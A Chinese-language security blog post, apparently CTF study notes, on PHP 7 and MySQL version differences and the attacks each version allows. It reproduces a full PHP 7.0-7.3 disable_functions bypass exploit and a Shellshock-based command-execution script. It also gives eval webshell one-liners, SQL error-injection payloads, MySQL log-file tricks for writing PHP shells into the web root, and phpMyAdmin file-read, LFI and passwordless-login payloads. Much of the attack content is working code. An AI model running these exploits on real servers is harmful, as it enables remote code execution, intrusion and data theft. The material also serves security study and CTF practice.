M0nk3y's Blog

PHP以及MYSQL相关版本差异及对应的安全问

Word count: 4.6kReading time: 21 min
2020/08/25 Share

前言

一直觉得自己对相关的漏洞学的马马虎虎,没有深入总结,最近几次CTF比赛中也吃了不少的亏。遂想花一两天的时间来好好总结一下各个版本之间的区别,漏洞利用方式的不同,于是有了这篇文章。

PHP

PHP 现在应该一般都升级为php7了吧,所以来学习一波php7的新特性。

主要是参考这篇文章:http://www.php7.site/book/php7/variable-changes-22.html#0

变量处理机制

  • 间接变量,属性和方法引用都按照 从作到右到顺序进行解释(如果想要改变顺序,可以使用大括号
  • global 关键字只能引用简单变量
  • 无法将一个函数作为另一个函数的参数进行传递
  • 引用赋值时自动创建数组元素或者对象属性顺序不同
1
2
3
4
5
6
$array = [];
$array["a"] =& $array["b"];
$array["b"] = 1;
var_dump($array);
PHP7产生的数组:["a" => 1, "b" => 1]
PHP5产生的数组:["b" => 1, "a" => 1]

list()

  • list() 按照顺序进行取值。
  • 对一个空的list()赋值不再允许
  • list() 不再具有拆分功能

foreach()

  • foreach循环对数组内部指针不再起作用
  • foreach进行by-value循环时,是对该数组的拷贝操作,如果对其进行修改也没有影响
  • 按照引用进行循环时,对数组进行修改就会有影响

参数处理机制

  • 不再支持重复参数名(也没人这样用
  • Func_get_arg 和 func_get_args,这两个方法返回参数当前的值,而不是传入时的值
  • PHP7 报错的时候,也是报当前值

整数处理机制修改

  • 无效的8进制数会编译报错,而老版本会忽略无效的数字
  • 位移负的位置会产生异常 ArithmeticError: Bit shift by negative number
  • 左位移如果超出位数返回 0
1
2
<?php
var_dump(1 << 64);
  • 右移如果超出位数返沪0或-1

字符串处理机制修改

  • 含有16进制的字符串不再视为数字,也不区别对待。这个就会涉及到一些绕过了。
  • \u{ 后面如果包含非法字符会报错

其他修改

  • CURL模块:禁止禁用CURLOPT_SAFE_UPLOAD选项,通过curl上传文件必须使用curl_file/CURLFILE接口。
  • DATE模块:mktime()和gmmktime()函数移除了$is_dst parameter参数。
  • DBA模块:dba_delete() 如果在inifile里面没有找到key的时候会返回false。
  • GMP模块:必须用libgmp 4.2版本以上。gmp_setbit() and gmp_clrbit()如果传入的index为负数的话,会返回false。
  • Intl模块:移除了别名函数datefmt_set_timezone_id() 和IntlDateFormatter::setTimeZoneID(),用datefmt_set_timezone() 和IntlDateFormatter::setTimeZone()
  • libxml模块:新增ibxml 2.9.0引入的LIBXML_BIGLINES 选项,并在错误报告中增加了行号> 16-bit的支持。
  • Mcrypt模块:.移除了mcrypt_generic_end() mcrypt_ecb(), mcrypt_cbc(), mcrypt_cfb() 和mcrypt_ofb()
  • Opcache:移除了opcache.load_comments配置项,现在注释加载总是被激活的。
  • OpenSSL:移除了”rsa_key_size”、”CN_match” 、”SNI_server_name” 选项。
  • PCRE:移除了 /e (PREG_REPLACE_EVAL) 修饰符的支持,使用preg_replace_callback()来代替。
  • PDO_pgsql:删除了PGSQL_ATTR_DISABLE_NATIVE_PREPARED_STATEMENT选项。
  • Standard:删除了setlocale()函数里面对字符串类型的支持,使用LC_*常量。删除了set_magic_quotes_runtime() magic_quotes_runtime().
  • JSON:json_decode()会拒绝与RFC 7159不兼容的数字格式。json_decode第一个参数是空值的时候会返回json语法错误。
  • Stream:删除别名函数set_socket_blocking()
  • XSL:删除xsl.security_prefs 选项。
  • session
    • session_start()可以接受所有的INI设置,可以用数组的方式传入,比如:[‘cache_limiter’=>’private’]
    • save handler接受validate_sid(), update_timestamp() ,可用来检查sid是否存在,更新session数据的时间戳。
    • 增加了SessionUpdateTimestampHandlerInterface,这个接口里面定义了validateSid(), updateTimestamp()方法。
    • session.lazy_write(default=On) 配置项可以允许只有session数据有变化时才写数据。

。。。。。。

以及其他特性。

MYSQL

https://www.cc1021.com/article/134.html

漏洞分析

RCE

eval

Eval 把其中的字符串当做PHP代码进行执行。所有语句必须以分号结束。

函数*eval()**语言结构是 非常危险\的, 因为它允许执行任意 PHP 代码。 \它这样用是很危险的。* 如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,不要允许传入任何由用户 提供的、未经完整验证过的数据

1
2
3
4
5
6
7
8
<?php
eval($_POST[1]);
// 或者
$code = $_GET['code'];
eval($code);
// 或者
$_POST[1]($_POST[2]);
// 传入:1=assert&2=system('ls')
1
2
3
4
<?php echo 

<?=
// short_open_tag=On

eval 是一个语言构造器,而不是一个函数。不能被可变 函数调用。

assert

检查一个断言是否为FALSE。

PHP 5:

1
assert ( mixed $assertion [, string $description ] ) : bool

PHP 7:

1
assert ( mixed $assertion [, Throwable $exception ] ) : bool

如果assertion 为字符串,那么会被当做php 代码来执行。在PHP 7 中,变为语言结构而不是函数,即不能像eval那样支持可变函数了。

1
2
<?php
$_POST[1]($_POST[2]); // 在php7 中无法使用1=assert&2=system('ls');

eval其实是Zend引擎到函数,而assert是PHP_FUNCTION 宏编写的,调用不同。

https://www.cnblogs.com/iamstudy/articles/analysis_eval_and_assert.html

https://www.anquanke.com/post/id/173201

disable_function

Php 7.0-7.3 bypass

:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

在可以连接的情况下,将poc上传到/tmp/ 目录下,然后包含他。

比如 GKCTF2020 Checkin ,GYCTF2020 EasyThink也是 一样的bypass思路。先是Ginkgo=eval($_POST[1]); 然后AS连上后,在/tmp/目录上上传exp。

LD_PRELOAD 劫持

利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so

ImageMagick vuln bypass

也就是利用存在漏洞的组件,扩展。

Mod_cgi

修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制(让特定扩展名的文件直接和php-cgi通i信

Windows 系统组件 COM

c:/System32/ 下的一个wshom.ocx 文件。

PHP 7.4 FFI Bypass

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术。

当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。

也就是说,通过PHP调用C的命令执行函数来绕过。

需要满足:

  1. opcache.preload 启用. (指定将在服务器启动时编译和执行的PHP文件,文件中定义的所有函数和大多数类都将永久加载到 PHP 的函数和类表中,并在将来的任何请求的上下文中永久可用)。
  2. FFI support = enable

例题:[RCTF 2019]Nextphp

https://hack-for.fun/posts/38da.html

https://www.php.net/manual/en/ffi.examples-basic.php

https://3nd.xyz/2019/11/06/Memo/bypass-disable-functions/#0x04-PHP-7-4-FFI

Bash ShellShock

利用方法的前提是目标 OS 存在 Bash破壳(CVE-2014-6271)漏洞,该漏洞的具体介绍可参考: 破壳漏洞(CVE-2014-6271)综合分析:“破壳”漏洞系列分析之一

Bash 破壳漏洞成因:目前的 Bash 使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以 (){ 开头定义的环境变量在命令 ENV 中解析成函数后,Bash 执行并未退出,而是继续解析并执行 shell 命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

好像AntSword 虚拟终端已经将这个漏洞作为默认使用了。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

寻找漏网之鱼

…自行领会。


https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/paper/readme.old.md

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html

https://3nd.xyz/2019/11/06/Memo/bypass-disable-functions/

https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/

XXE - PHP 7.0.30

  • Php 7.0.30
  • Libxml 2.8.0

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。

  • SimpleXMLElement
  • loadXML
  • simplexml_load_string

unserialize/serialize

  • php 7.1.x~7.3.x(具体不知,php7.x 好像都可以,遇到时,试一下就可以。

    对属性类型不敏感,可直接将属性改为public,减轻编写payload的负担。

  • php < 5.6.25 && php < 7.0.10

__wakeup 可绕过。绕过方法:当对象属性个数大于真实属性个数时。

SQL Injection

不同版本的mysql 主要在”高级“ 注入情况下,

https://xz.aliyun.com/t/7169#toc-3 。 膜一波Yunen师傅。

Mysql < 5.0(面试常问)

由于mysql的低版本缺乏系统库information_schema,故通常情况下,我们无法直接查询表名,字段(列)名等信息,这时候只能靠来解决。

直接猜表名与列名是什么,甚至是库名,再使用联合查询取数据。

若知道仅表名而不知道列(字段)名:

可通过以下payload:

  • 若多字段:select x from(select 1,2,3,4,xxx from table_name union select * from table_name)a
  • 若单字段:select *,1,2,xxx from table_name

Mysql >= 5.0(面试常问

首先去一个名为information_schema的数据库里的shemata数据表查询全部数据库名

若不需要跨数据库的话,可直接跳过此步骤,直接查询相应的数据库下的全部数据表名。

在information_schema的一个名为tables的数据表中存着全部的数据表信息

其中,table_name 字段保存其名称table_schema保存其对应的数据库名

接着通过其表名,查询该表的所有字段名,有时也称列名。

通过information_schema库下的columns表可查询对应的数据库/数据库表含有的字段名。

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表
名;5.0以下是多用户单操作,5.0以上是多用户多操做。

exp()/pow() 报错注入

Mysql 5.5.5~5.5.49

1
2
3
4
5
6
7
8
9
10
MySQL [(none)]> select exp(3);
+--------------------+
| exp(3) |
+--------------------+
| 20.085536923187668 |
+--------------------+
1 row in set (0.04 sec)

MySQL [(none)]> select exp(999);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(999)'

1
2
3
4
5
6
7
8
9
10
MySQL [(none)]> select pow(9,99);
+-----------------------+
| pow(9,99) |
+-----------------------+
| 2.9512665430652752e94 |
+-----------------------+
1 row in set (0.00 sec)

MySQL [(none)]> select pow(9,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(9,999)'

updatexml() 报错注入

Mysql 5.1.5+

与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。

payload: updatexml(1,concat(0x7e,(select user()),0x7e),1)

前后添加~使其不符合xpath格式从而报错。

extractvalue()

函数语法:EXTRACTVALUE (XML_document, XPath_string);

适用版本:5.1.5+

利用原理与updatexml函数相同

payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

文件读写

  • file_priv 用户的文件读写权限。
1
select file_priv from mysql.user where user=$USER host=$HOST;
  • secure-file-priv系统变量,对文件读/写功能进行限制
    • 无内容,表示无限制。
    • 为NULL,表示禁止文件读/写。
  • 为目录名,表示仅允许对特定目录的文件进行读/写。

mysql 5.5.53 本身及以后的版本默认值为NULL,之前的版本无内容。

查看当前的secure-file-priv

1
2
3
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MySQL [(none)]> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
| NULL |
+--------------------+
1 row in set (0.00 sec)

MySQL [(none)]> select version();
+------------+
| version() |
+------------+
| 5.6.46-log |
+------------+
1 row in set (0.00 sec)

由于mysql在5.5.53版本之后,secure-file-priv的值默认为NULL,这使得正常读取文件的操作基本不可行。我们这里可以利用mysql生成日志文件的方法来绕过。

如果上面不行,就可以用日志进行攻击。(面试经常会问道。

mysql日志文件的一些相关设置可以直接通过命令来进行:

1
2
3
4
5
6
7
8
//请求日志
mysql> set global general_log_file = '/var/www/html/1.php';
mysql> set global general_log = on;
//慢查询日志
mysql> set global slow_query_log_file='/var/www/html/2.php'
mysql> set global slow_query_log=1;
//还有其他很多日志都可以进行利用
...

之后我们在让数据库执行满足记录条件的恶意语句即可。

限制:

  • 权限够,可以进行日志的设置操作
  • 知道目标目录的绝对路径

堆叠注入Stack Injection

PHP中堆叠注入的支持情况:

Mysqli PDO MySQL
引入的PHP版本 5.0 5.0 3.0之前
PHP5.x是否包含
多语句执行支持情况 大多数

phpmyadmin

  • phpmyadmin2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
    • 漏洞危害:无需登录,任意代码执行,任意文件读取
    • Payload: action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

/scripts/setup.php

https://github.com/vulhub/vulhub/blob/master/phpmyadmin/WooYun-2016-199433/README.zh-cn.md

https://hack-for.fun/posts/d68d.html

  • Phpmyadmin 4.0.x – 4.6.2 RCE

https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2016-5734/README.zh-cn.md

https://hack-for.fun/posts/8b82.html

  • Phpmyadmin4.8.1 RFI

https://github.com/vulhub/vulhub/blob/master/phpmyadmin/CVE-2018-12613/README.zh-cn.md

https://hack-for.fun/posts/ef94.html

通过写入session, 然后包含session 文件进行getshell。

Payload:index.php?target=db_sql.php%253f../../../../../tmp/sess_619cd5b47fc730f60a757f19ce6ea268

  • phpmyadmin 通用密码漏洞
1
2
3
4
5
默认 phpMyAdmin:用户名 root、密码 root 或空登陆。

版本 2.11.3~2.11.4:用户名 'localhost'@'@" 登陆,无需密码。

版本 2.11.9.2:用户名 root 登陆,无需密码。
  • 其他版本漏洞

https://blog.csdn.net/aiquan9342/article/details/102075632

一: 影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG

  概述:PhpMyAdmin存在PREGREPLACEEVAL漏洞

  利用模块:exploit/multi/http/phpmyadminpregreplace CVE: CVE-2013-3238

二: 影响版本:phpMyAdmin v3.5.2.2

  概述:PhpMyAdmin存在serversync.php 后门漏洞

  利用模块:exploit/multi/http/phpmyadmin3522_backdoor CVE: CVE-2012-5159

三: 影响版本: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1;

  概述:PhpMyAdmin配置文件/config/config.inc.php存在命令执行

  利用模块:exploit/unix/webapp/phpmyadmin_config CVE: CVE-2009-1151

四:影响版本:2.11.3 / 2.11.4

  利用方法:用户名处写入‘localhost’@‘@”则登录成功。 (注意全部是英文标点符号,最后一个为英文双引号)

五:影响版本:2.8.0.3

  phpmyadmin配合phpinfo getshell

  https://www.t00ls.net/thread-37889-1-1.html

附上几个php爆绝对路径的办法:

phpMyAdmin/libraries/selectlang.lib.php

phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1

phpmyadmin/themes/darkblue_orange/layout.inc.php

总结

特性很多,一篇文章肯定总结不过来。不过能总结一些还是好的,至少能够更加熟练。更重要的是,养成总结的习惯。

不定期补充。

Author:m0nk3y

原文链接:https://hack-for.fun/d8714939.html

发表日期:August 25th 2020, 11:53:12 pm

更新日期:August 26th 2020, 9:49:08 am

版权声明:原创文章转载时请注明出处

CATALOG
  1. 1. 前言
  2. 2. PHP
    1. 2.1. 变量处理机制
    2. 2.2. list()
    3. 2.3. foreach()
    4. 2.4. 参数处理机制
    5. 2.5. 整数处理机制修改
    6. 2.6. 字符串处理机制修改
    7. 2.7. 其他修改
  3. 3. MYSQL
  4. 4. 漏洞分析
    1. 4.1. RCE
      1. 4.1.1. eval
      2. 4.1.2. assert
      3. 4.1.3. disable_function
        1. 4.1.3.1. Php 7.0-7.3 bypass
        2. 4.1.3.2. LD_PRELOAD 劫持
        3. 4.1.3.3. ImageMagick vuln bypass
        4. 4.1.3.4. Mod_cgi
        5. 4.1.3.5. Windows 系统组件 COM
        6. 4.1.3.6. PHP 7.4 FFI Bypass
        7. 4.1.3.7. Bash ShellShock
        8. 4.1.3.8. 寻找漏网之鱼
    2. 4.2. XXE - PHP 7.0.30
    3. 4.3. unserialize/serialize
    4. 4.4. SQL Injection
      1. 4.4.1. Mysql < 5.0(面试常问)
      2. 4.4.2. Mysql >= 5.0(面试常问
      3. 4.4.3. exp()/pow() 报错注入
      4. 4.4.4. updatexml() 报错注入
      5. 4.4.5. extractvalue()
      6. 4.4.6. 文件读写
      7. 4.4.7. 堆叠注入Stack Injection
  5. 5. phpmyadmin
  6. 6. 总结